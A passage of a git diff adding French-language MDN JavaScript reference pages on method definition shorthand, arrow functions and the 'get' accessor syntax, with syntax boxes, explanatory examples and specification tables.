+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions.arguments.length")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Function.length")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/définition_de_méthode/index.html b/files/fr/web/javascript/reference/fonctions/définition_de_méthode/index.html
new file mode 100644
index 0000000000..1884e63c14
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/définition_de_méthode/index.html
@@ -0,0 +1,219 @@
+---
+title: Définir une méthode
+slug: Web/JavaScript/Reference/Fonctions/Définition_de_méthode
+tags:
+  - ECMAScript 2015
+  - Fonctions
+  - JavaScript
+  - Object
+  - Reference
+  - Syntaxe
+translation_of: Web/JavaScript/Reference/Functions/Method_definitions
+---
+<div>{{JsSidebar("Functions")}}</div>
+
+<p>Avec ECMAScript 2015 (ES6), il est possible d'utiliser une notation plus courte pour définir des méthodes au sein des littéraux objets. On peut ainsi définir plus rapidement une fonction qui sera utilisée comme méthode.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-definitions.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var obj = {
+  <var>property</var>( <var>parameters…</var> ) {},
+  *<var>generator</var>( <var>parameters…</var> ) {},
+  async property( <var>parameters…</var> ) {},
+  async* generator( <var>parameters…</var> ) {},
+
+  // avec les noms calculés :
+  [property]( <var>parameters…</var> ) {},
+  *[generator]( <var>parameters…</var> ) {},
+  async [property]( <var>parameters…</var> ) {},
+
+  // avec la syntaxe pour les accesseurs
+  // mutateurs :
+  get <var>property</var>() {},
+  set <var>property</var>(<var>value</var>) {}
+};
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La notation raccourcie est semblable à la syntaxe introduite par ECMAScript 5 pour les <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/get">accesseurs</a> et <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/set">mutateurs</a>.</p>
+
+<p>Le code suivant :</p>
+
+<pre class="brush: js">var obj = {
+  toto: function() {
+    /* du code */
+  },
+  truc: function() {
+    /* du code */
+  }
+};</pre>
+
+<p>Peut désormais être raccourci en :</p>
+
+<pre class="brush: js">var obj = {
+  toto() {
+    /* du code */
+  },
+  truc() {
+    /* du code */
+  }
+};</pre>
+
+<h3 id="Notation_raccourcie_pour_les_générateurs">Notation raccourcie pour les générateurs</h3>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Instructions/function*">Les générateurs</a> sont des méthodes et peuvent donc être définis en utilisant la notation raccourci. Lorsqu'on les utilise :</p>
+
+<ul>
+ <li>L'astérisque de la notation raccourcie doit être située avant le nom de la propriété pour le générateur. Autrement dit, <code>* g(){}</code> fonctionnera mais <code>g*(){}</code> ne fonctionnera pas.</li>
+ <li>Les définitions des méthodes qui ne sont pas des générateurs ne peuvent pas contenir le mot-clé <code>yield</code>. Cela signifie que <a href="/fr/docs/Web/JavaScript/Reference/Instructions/Fonction_génératrice_historique">l'ancienne syntaxe pour les générateurs</a> ne fonctionnera pas et déclenchera une exception {{jsxref("SyntaxError")}}. Il faut toujours utiliser <code>yield</code> avec l'astérisque (<code>*</code>).</li>
+</ul>
+
+<pre class="brush: js">// Notation utilisant une propriété nommée (avant-ES2015)
+var obj2 = {
+  g: function*() {
+    var index = 0;
+    while(true)
+      yield index++;
+  }
+};
+
+// La même définition, en utilisant la notation raccourcie
+var obj2 = {
+  * g() {
+    var index = 0;
+    while(true)
+      yield index++;
+  }
+};
+
+var it = obj2.g();
+console.log(it.next().value); // 0
+console.log(it.next().value); // 1</pre>
+
+<h3 id="Méthodes_asynchrones_avec_notation_raccourcie">Méthodes asynchrones avec notation raccourcie</h3>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Instructions/async_function">Les méthodes asynchrones</a> peuvent également être définies grâce à une syntaxe raccourcie.</p>
+
+<pre class="brush: js">// On utilise une propriété nommée
+var obj3 = {
+  f: async function () {
+    await une_promesse;
+  }
+};
+
+// Ici, on obtient le même résultat
+// avec la notation raccourcie
+var obj3 = {
+  async f() {
+    await une_promesse;
+  }
+};
+</pre>
+
+<h3 id="Méthodes_génératrices_asynchrones">Méthodes génératrices asynchrones</h3>
+
+<p>Les méthodes génératrices peuvent également être asynchrones (cf. <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/async_function">async</a></code>) :</p>
+
+<pre class="brush: js">var obj4 = {
+  f: async function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+  }
+};
+
+// Le code équivalent avec la
+// notation raccourcie
+var obj4 = {
+  async* f() {
+    yield 1;
+    yield 2;
+    yield 3;
+  }
+};</pre>
+
+<h3 id="Les_définitions_de_méthodes_ne_sont_pas_constructibles">Les définitions de méthodes ne sont pas constructibles</h3>
+
+<p>Les définitions de méthodes ne sont pas des constructeurs et si on tente de les instancier, cela provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js">var obj = {
+  méthode() {},
+};
+new obj.méthode; // TypeError: obj.méthode is not a constructor
+
+var obj = {
+  * g() {}
+};
+new obj.g; // TypeError: obj.g is not a constructuer (changé avec ES2016)
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_de_test">Cas de test</h3>
+
+<pre class="brush: js;highlight[3]">var obj = {
+  a : "toto",
+  b(){ return this.a; }
+};
+console.log(obj.b()); // "toto"
+</pre>
+
+<h3 id="Noms_de_propriétés_calculés">Noms de propriétés calculés</h3>
+
+<p>Cette notation raccourcie peut également être utilisée avec des noms de propriétés calculés.</p>
+
+<pre class="brush: js;highlight[4]">var bar = {
+  toto0 : function (){return 0;},
+  toto1(){return 1;},
+  ["toto" + 2](){return 2;},
+};
+
+console.log(bar.toto0()); // 0
+console.log(bar.toto1()); // 1
+console.log(bar.toto2()); // 2</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td>Les méthodes génératrices ne doivent pas implémenter la trappe [[Construct]] et déclencher une exception lorsqu'elles sont utilisées avec <code>new</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions.method_definitions")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_get">get</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_set">set</a></code></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale">Grammaire lexicale de JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/fonctions_fléchées/index.html b/files/fr/web/javascript/reference/fonctions/fonctions_fléchées/index.html
new file mode 100644
index 0000000000..912748e5e2
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/fonctions_fléchées/index.html
@@ -0,0 +1,375 @@
+---
+title: Fonctions fléchées
+slug: Web/JavaScript/Reference/Fonctions/Fonctions_fléchées
+tags:
+  - ECMAScript 2015
+  - Fonctions
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Functions/Arrow_functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Une <strong>expression de fonction fléchée</strong> (<em>arrow function</em> en anglais) permet d’avoir une syntaxe plus courte que <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_function">les expressions de fonction</a> et ne possède pas ses propres valeurs pour <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">this</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments">arguments</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/super">super</a></code>, ou <code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/new.target">new.target</a></code>. Les fonctions fléchées sont souvent <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/name">anonymes</a> et ne sont pas destinées à être utilisées pour déclarer des méthodes.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-arrow.html")}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">([param] [, param]) =&gt; {
+   instructions
+}
+
+(param1, param2, …, param2) =&gt; expression
+// équivalent à
+(param1, param2, …, param2) =&gt; {
+  return expression;
+}
+
+// Parenthèses non nécessaires quand il n'y a qu'un seul argument
+param =&gt; expression
+
+// Une fonction sans paramètre peut s'écrire avec un couple
+// de parenthèses
+() =&gt; {
+  instructions
+}
+
+// Gestion des <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">paramètres du reste</a> et <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">paramètres par défaut</a>
+(param1, param2, ...reste) =&gt; {
+  instructions
+}
+(param1 = valeurDefaut1, param2, …, paramN = valeurDefautN) =&gt; {
+  instructions
+}
+
+// Gestion de la décomposition pour la liste des paramètres
+let f = ([a, b] = [1, 2], {x: c} = {x: a + b}) =&gt; a + b + c;
+f();
+</pre>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Le nom d’un argument. S’il n'y a aucun argument, cela doit être indiqué par une paire de parenthèses <code>()</code>. S’il n'y a qu’un argument, les parenthèses ne sont pas nécessaires (ex. : <code>toto =&gt; 1</code>).</dd>
+ <dt><code>instructions</code> ou <code>expression</code></dt>
+ <dd>Plusieurs instructions doivent être encadrées par des accolades, {}. Une expression simple ne nécessite pas d’accolades. L’expression est également la valeur de retour implicite pour cette fonction.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Deux facteurs sont à l’origine de la conception des fonctions fléchées : une syntaxe plus courte et l’absence de <code>this</code> spécifique à la fonction. Sur ce dernier point, cela signifie qu’une fonction fléchée ne lie pas son propre {{jsxref("Opérateurs/L_opérateur_this","this")}} au sein de la fonction (il en va de même avec {{jsxref("Fonctions/arguments","arguments")}}, {{jsxref("Opérateurs/super","super")}} ou {{jsxref("Opérateurs/new.target","new.target")}}).</p>
+
+<div class="note">
+<p>Voir aussi l’article sur les fonctions fléchées présent sur <a href="https://tech.mozfr.org/post/2015/06/10/ES6-en-details-%3A-les-fonctions-flechees">https://tech.mozfr.org/post/2015/06/10/ES6-en-details-%3A-les-fonctions-flechees</a> (l’article original en anglais est disponible <a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">ici</a>).</p>
+</div>
+
+<h3 id="Syntaxe_plus_courte">Syntaxe plus courte</h3>
+
+<p>Pour des aspects fonctionnels, la légèreté de la syntaxe est bienvenue. Par exemple :</p>
+
+<pre class="brush: js">var a = [
+  "We're up all night 'til the sun",
+  "We're up all night to get some",
+  "We're up all night for good fun",
+  "We're up all night to get lucky"
+];
+
+// Sans la syntaxe des fonctions fléchées
+var a2 = a.map(function (s) { return s.length });
+// [31, 30, 31, 31]
+
+// Avec, on a quelque chose de plus concis
+var a3 = a.map( s =&gt; s.length);
+// [31, 30, 31, 31]</pre>
+
+<h3 id="Pas_de_this_lié_à_la_fonction">Pas de <code>this</code> lié à la fonction</h3>
+
+<p>Jusqu’a l’apparition des fonctions fléchées, chaque nouvelle fonction définissait son propre {{jsxref("Opérateurs/L_opérateur_this","this")}} :</p>
+
+<ul>
+ <li>un nouvel objet dans le cas d’un constructeur</li>
+ <li><code>undefined</code> dans les appels de fonctions en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a></li>
+ <li>l’objet courant si la fonction est appelée comme une méthode, etc.</li>
+</ul>
+
+<p>Cela a pu entraîner des confusions lorsqu’on utilisait un style de programmation orientée objet.</p>
+
+<pre class="brush: js">function Personne () {
+  // Le constructeur Personne() définit `this` comme lui-même.
+  this.age = 0;
+
+  setInterval(function grandir () {
+    // En mode non strict, la fonction grandir() définit `this`
+    // comme l'objet global et pas comme le `this` defini
+    // par le constructeur Personne().
+    this.age++;
+  }, 1000);
+}
+
+var p = new Personne();</pre>
+
+<p>Avec ECMAScript 3/5, ce problème a pu être résolu en affectant la valeur de <code>this</code> à une autre variable :</p>
+
+<pre class="brush: js">function Personne () {
+  var that = this;
+  that.age = 0;
+
+  setInterval(function grandir () {
+    // La fonction callback se réfère à la variable `that`
+    // qui est le contexte souhaité
+    that.age++;
+  }, 1000);
+}</pre>
+
+<p>Autrement, on aurait pu utiliser une <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/bind">fonction de liaison</a> afin que la bonne valeur <code>this</code> soit passée à la fonction <code>grandir</code>.</p>
+
+<p>Les fonctions fléchées ne créent pas de nouveau contexte, elles utilisent la valeur <code>this</code> de leur contexte. Aussi, si le mot-clé <code>this</code> est utilisé dans le corps de la fonction, le moteur recherchera la référence à cette valeur dans une portée parente. Le code qui suit fonctionne ainsi de la façon attendue car le <code>this</code> utilisé dans <code>setInterval</code> est le <code>this</code>de la portée de <code>Personne</code> :</p>
+
+<pre class="brush: js">function Personne () {
+  this.age = 0;
+
+  setInterval(() =&gt; {
+    this.age++;
+    // |this| fait bien référence à l'objet personne
+  }, 1000);
+}
+
+var p = new Personne();</pre>
+
+<h4 id="Liens_avec_le_mode_strict">Liens avec le mode strict</h4>
+
+<p>Ici <code>this</code> provient du contexte englobant, les règles du <a href="/fr/docs/Web/JavaScript/Reference/Fonctions_et_portee_des_fonctions/Strict_mode">mode strict</a> sont donc ignorées pour ce qui concerne <code>this</code>.</p>
+
+<pre class="brush: js">var f = () =&gt; {'use strict'; return this};
+f() === window; // ou l'objet global</pre>
+
+<p>Le reste des règles du mode strict sont appliquées normalement.</p>
+
+<h4 id="Appel_via_jsxref(Function.prototype.call())_ou_jsxref(Function.prototype.apply())">Appel via {{jsxref("Function.prototype.call()")}} ou {{jsxref("Function.prototype.apply()")}}</h4>
+
+<p>Étant donné que <code>this</code> provient du contexte englobant, si on invoque une fonction via la méthode <code>call</code> ou <code>apply</code>, cela ne passera que des arguments mais n’aura aucun effet sur <code>this</code> :</p>
+
+<pre class="brush: js">var ajouter = {
+  base: 1,
+
+  add : function (a) {
+    var f = v =&gt; v + this.base;
+    return f(a);
+  },
+
+  addViaCall: function (a) {
+    var f = v =&gt; v + this.base;
+    var b = {
+      base: 2
+    };
+    return f.call(b, a);
+  }
+};
+
+console.log(ajouter.add(1));
+// Cela affichera 2 dans la console
+
+console.log(ajouter.addViaCall(1));
+// Cela affichera toujours 2
+</pre>
+
+<h4 id="Pas_de_liaison_pour_arguments">Pas de liaison pour <code>arguments</code></h4>
+
+<p>Les fonctions fléchées n’exposent pas d’objet <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments"><code>arguments</code></a> : <code>arguments.length</code>, <code>arguments[0]</code>, <code>arguments[1]</code>, et autres ne font donc pas référence aux arguments passés à la fonction fléchés. Dans ce cas <code>arguments</code> est simplement une référence à la variable de même nom si elle est présente dans la portée englobante :</p>
+
+<pre class="brush: js">var arguments = [1, 2, 3];
+var arr = () =&gt; arguments[0];
+
+arr(); // 1
+
+function toto () {
+  var f = (i) =&gt; arguments[0] + i;
+  // lien implicite avec arguments de toto
+  return f(2);
+}
+
+toto(3); // 5</pre>
+
+<p>Les fonctions fléchées n’ont donc pas leur propre objet <code>arguments</code>, mais dans la plupart des cas, <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste">les paramètres du reste</a> représentent une bonne alternative :</p>
+
+<pre class="brush: js">function toto () {
+  var f = (...args) =&gt; args[0];
+  return f(2);
+}
+
+toto(1); // 2</pre>
+
+<h4 id="Les_fonctions_fléchées_comme_méthodes">Les fonctions fléchées comme méthodes</h4>
+
+<p>Comme indiqué précédemment, les fonctions fléchées sont mieux indiquées pour les fonctions qui ne sont pas des méthodes. Prenons un exemple pour illustrer ce point</p>
+
+<pre class="brush: js">'use strict';
+var objet = {
+  i: 10,
+  b: () =&gt; console.log(this.i, this),
+  c: function() {
+    console.log(this.i, this);
+  }
+}
+
+objet.b();
+// affiche undefined, Window (ou l'objet global de l'environnement)
+
+objet.c();
+// affiche 10, Object {...}</pre>
+
+<h4 id="Utiliser_prototype">Utiliser <code>prototype</code></h4>
+
+<p>Les fonctions fléchées ne possèdent pas de prototype :</p>
+
+<pre class="brush: js">var Toto = () =&gt; {};
+console.log(Toto.prototype);
+</pre>
+
+<h4 id="Utiliser_le_mot-clé_yield">Utiliser le mot-clé <code>yield</code></h4>
+
+<p>Le mot-clé <code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/yield">yield</a></code> ne peut pas être utilisé dans le corps d’une fonction fléchée (sauf si cela intervient dans une autre fonction, imbriquée dans la fonction fléchée). De fait, les fonctions fléchéees ne peuvent donc pas être utilisées comme générateurs.</p>
+
+<h4 id="Utiliser_le_mot-clé_new">Utiliser le mot-clé <code>new</code></h4>
+
+<p>Les fonctions fléchées ne peuvent pas être utilisées comme constructeurs et lèveront une exception si elles sont utilisées avec le mot-clé <code>new</code>.</p>
+
+<pre class="brush: js">var Toto = () =&gt; {};
+var toto = new Toto();
+// TypeError: Toto is not a constructor</pre>
+
+<h2 id="Gestion_du_corps_de_la_fonction">Gestion du corps de la fonction</h2>
+
+<p>Les fonctions fléchées peuvent avoir une syntaxe concise ou utiliser un bloc d’instructions classique. Cette dernière syntaxe n’a pas de valeur de retour implicite et il faut donc employer l’instruction <code>return</code>.</p>
+
+<pre class="brush: js">// méthode concise, retour implicite
+var fonction = x =&gt; x * x;
+
+// bloc classique, retour explicite
+var fonction = (x, y) =&gt; { return x + y; }
+</pre>
+
+<h2 id="Renvoyer_des_littéraux_objets">Renvoyer des littéraux objets</h2>
+
+<p>Attention à bien utiliser les parenthèses lorsqu’on souhaite renvoyer des objets avec des littéraux :</p>
+
+<pre class="brush: js">// fonction() renverra undefined !
+var fonction = () =&gt; { toto: 1 };
+
+// SyntaxError
+var fonction2 = () =&gt;  { toto: function () {} };
+</pre>
+
+<p>En effet, ici, l’analyse de l’expression trouve des blocs d’instructions au lieu de littéraux objets. Pour éviter cet effet indésirable, on pourra encadrer le littéral objet :</p>
+
+<pre class="brush: js">var fonction = () =&gt; ({ toto: 1 });</pre>
+
+<h2 id="Sauts_de_ligne">Sauts de ligne</h2>
+
+<p>Il ne peut pas y avoir de saut de ligne entre les paramètres et la flèche d’une fonction fléchée.</p>
+
+<pre class="brush: js">var func = ()
+            =&gt; 1; // SyntaxError: expected expression,
+                  //              got '=&gt;'
+</pre>
+
+<h2 id="Ordre_syntaxique">Ordre syntaxique</h2>
+
+<p>La flèche utilisée pour une fonction fléchée n’est pas un opérateur. Les fonctions fléchées ont des règles spécifiques quant à leur place dans la syntaxe et interagissent différemment de la précédence des opérateurs par rapport à une fonction classique :</p>
+
+<pre class="brush: js">let fonctionRappel;
+
+fonctionRappel = fonctionRappel || function () {};
+// OK
+
+fonctionRappel = fonctionRappel || () =&gt; {};
+// SyntaxError: invalid arrow-function arguments
+
+fonctionRappel = fonctionRappel || (() =&gt; {});
+// OK
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// Une fonction fléchée vide renvoie undefined
+let vide = () =&gt; {};
+
+(() =&gt; "tototruc")()
+// exemple d'une fonction immédiatement
+// invoquée (IIFE en anglais) qui renvoie
+// "tototruc"
+
+var simple = a =&gt; a &gt; 15 ? 15 : a;
+simple(16); // 15
+simple(10); // 10
+
+var complexe = (a, b) =&gt; {
+    if (a &gt; b) {
+        return a;
+    } else {
+        return b;
+    }
+}
+
+var arr = [5, 6, 13, 0, 1, 18, 23];
+
+var sum = arr.reduce((a, b) =&gt; a + b);
+// 66
+
+var even = arr.filter(v =&gt; v % 2 == 0);
+// [6, 0, 18]
+
+var double = arr.map(v =&gt; v * 2);
+// [10, 12, 26, 0, 2, 36, 46]
+
+// On peut aussi construire des chaînes
+// de promesses plus concises
+promise.then(a =&gt; {
+    // ...
+}).then(b =&gt; {
+    // ...
+});
+
+// Cela permet de visualiser les
+// fonctions sans paramètres
+setTimeout( () =&gt; {
+    console.log("Et voilà");
+    setTimeout( () =&gt; {
+        console.log("ensuite…");
+    }, 1);
+}, 1);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n’hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https ://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions.arrow_functions")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L’article sur les fonctions fléchées présent sur <a href="https://tech.mozfr.org">https ://tech.mozfr.org</a> (l’article original en anglais est disponible <a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">ici</a>).</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/get/index.html b/files/fr/web/javascript/reference/fonctions/get/index.html
new file mode 100644
index 0000000000..baf138defa
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/get/index.html
@@ -0,0 +1,180 @@
+---
+title: L'opérateur get
+slug: Web/JavaScript/Reference/Fonctions/get
+tags:
+  - ECMAScript 2015
+  - ECMAScript 5
+  - Functions
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Functions/get
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>La syntaxe <strong><code>get</code></strong> permet de lier une propriété d'un objet à une fonction qui sera appelée lorsqu'on accédera à la propriété.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-getter.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{get <em>prop</em>() { ... } }
+{get [<em>expression</em>]() { ... } }</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Le nom de la propriété à lier à la fonction.</dd>
+ <dt><code>expression</code></dt>
+ <dd>Avec ECMAScript 2015, il est également possible d'utiliser des expressions renvoyant un nom de propriété calculé pour le lier à une fonction.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il est parfois utile de créer une propriété qui renvoie une valeur dynamique calculée, ou de ne pas avoir recours à l'appel explicite d'une méthode pour renvoyer le statut d'une variable interne. En JavaScript, il est possible de faire cela en utilisant un <em>accesseur</em>. Il n'est pas possible d'avoir simultanément un <em>accesseur</em> assimilé à une propriété et d'avoir cette propriété initialisée à une valeur, mais il est possible d'utiliser un <em>accesseur</em> et un {{jsxref("Fonctions/set","mutateur","",1)}} pour créer une sorte de pseudo-propriété.</p>
+
+<p>On notera que l'opérateur <code>get</code> :</p>
+
+<ul>
+ <li>peut être identifié par un nombre ou une chaîne de caractères</li>
+ <li>ne doit pas posséder de paramètre (lire la page <a class="external" href="https://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Changement <abbr title="ECMAScript 5th edition">ES5</abbr> : les fonctions <em>d'accession</em> et <em>de mutation</em> littérales doivent avoir maintenant zéro ou un paramètre.</a> <em>(en anglais)</em> pour plus d'informations)</li>
+ <li>ne doit pas apparaître dans un littéral objet avec un autre <code>get</code> ou une autre propriété avec le même identifiant (les codes suivants : <code>{ get x() { }, get x() { } }</code> et <code>{ x: ..., get x() { } }</code> sont interdits).</li>
+</ul>
+
+<p>Un <em>accesseur</em> peut être supprimé grâce à l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_un_accesseur_avec_l'opérateur_get">Définir un accesseur avec l'opérateur <code>get</code></h3>
+
+<p>Ce code va créer une pseudo-propriété <code>dernier</code> de l'objet <code>o</code> qui va retourner la dernière entrée du tableau <code>o.journal </code>:</p>
+
+<pre class="deki-transform">var o = {
+  get dernier() {
+    if (this.journal.length &gt; 0) {
+      return this.journal[this.journal.length - 1];
+    }
+    else {
+      return null;
+    }
+  },
+  journal: ["toto","actu"]
+}
+console.log(o.dernier); // "actu"
+</pre>
+
+<p>Notez qu'essayer d'assigner à <code>dernier</code> une valeur ne le modifiera pas.</p>
+
+<h3 id="Supprimer_un_accesseur_avec_l'opérateur_delete">Supprimer un accesseur avec l'opérateur <code>delete</code></h3>
+
+<pre class="eval deki-transform">delete o.dernier;
+</pre>
+
+<h3 id="Définir_un_accesseur_sur_des_objets_existants_grâce_à_defineProperty">Définir un accesseur sur des objets existants grâce à <code>defineProperty</code></h3>
+
+<p>Afin d'ajouter un accesseur à un objet qui existe déjà, on peut utiliser la méthode {{jsxref("Object.defineProperty()")}}.</p>
+
+<pre class="brush: js">var o = { a:0 }
+
+Object.defineProperty(o, "b", { get: function () { return this.a + 1; } });
+
+console.log(o.b) // Utilise l'accesseur qui génère a + 1 (qui correspond à 1)</pre>
+
+<h3 id="Utiliser_un_nom_de_propriété_calculé">Utiliser un nom de propriété calculé</h3>
+
+<pre class="brush: js">var expr = "toto";
+
+var obj = {
+  get [expr]() { return "truc"; }
+};
+
+console.log(obj.toto); // "truc"</pre>
+
+<h3 id="Accesseurs_mémoïsés">Accesseurs mémoïsés</h3>
+
+<p>Les accesseurs permettent de définir des propriétés sur un objet mais ils ne calculent pas la valeur de la propriété tant qu'il n'y a pas d'accès envers celle-ci. Un accesseur délègue le coût de calcul jusqu'au moment où la valeur est vraiment nécessaire (si cette dernière n'est jamais utilisée, cela ne coûte alors rien).</p>
+
+<p>Une technique supplémentaire pour optimiser ou retarder le calcul d'une valeur d'une propriété et de la mettre en cache pour les accès ultérieurs consiste à utiliser <strong>des accesseurs intelligents « <a href="https://fr.wikipedia.org/wiki/M%C3%A9mo%C3%AFsation">mémoïsés</a> »</strong>. La valeur est calculée lors du premier appel de l'accesseur puis est mise en cache afin que les appels ultérieurs renvoient la valeur en cache sans la recalculer. Cette méthode peut s'avérer utile dans plusieurs situations :</p>
+
+<ul>
+ <li>Si le calcul de la valeur est coûteux (il consomme beaucoup de RAM ou de temps CPU, il crée de nouveaux <em>threads</em>, il utilise des fichiers distants, etc.).</li>
+ <li>Si la valeur est utilisée plus tard ou, dans certains cas, n'est pas utilisée du tout.</li>
+ <li>Si elle est utilisée plusieurs fois, il n'est pas nécessaire de la recalculer car sa valeur ne changera pas.</li>
+</ul>
+
+<p>Cela signifie qu'un tel accesseur ne doit pas être utilisé si la valeur peut être modifiée au cours du temps. En effet, avec la définition qu'on vient de lui donner, un tel accesseur ne recalculera pas la valeur.</p>
+
+<p>Dans l'exemple suivant, l'objet possède un accesseur en propriété propre. Lors de l'accès à la propriété, la propriété est retirée de l'objet puis réajoutée mais sous forme d'une propriété de donnée (et non d'un accesseur). Enfin, la valeur est renvoyée :</p>
+
+<pre class="brush: js">get notifier() {
+  delete this.notifier;
+  return this.notifier = document.getElementById("bookmarked-notification-anchor");
+},</pre>
+
